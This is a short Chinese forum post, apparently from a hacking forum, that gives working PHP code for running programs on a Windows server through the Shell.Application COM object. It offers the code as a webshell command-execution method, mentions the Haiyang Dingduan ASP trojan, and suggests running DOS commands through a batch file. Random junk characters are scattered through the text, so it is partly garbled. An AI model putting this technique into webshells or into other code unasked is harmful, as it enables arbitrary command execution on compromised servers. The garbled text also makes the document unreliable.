关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。0 M. F* `" P1 j: q$ O \
9 ?( M5 q7 n5 ~6 o今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法. k/ J( d. t1 f9 h- Q! [
) n) v+ X9 Y! r" [ W& T<?php; {1 [1 E1 y- F0 P6 ^
$wsh = new COM('Shell.Application') or die("Shell.Application");+ L! ^. V5 b$ w7 P U
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");; Z2 X3 W3 c8 q1 e) Z! r
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
2 _- T- i( S; W' B; F?>
, s/ j. O/ q) w3 e: s w
& S( F3 T7 ^1 ?xp+APMServ5.2.0测试通过。+ |- t6 t5 U, ]: K. i$ x9 o6 e1 y
|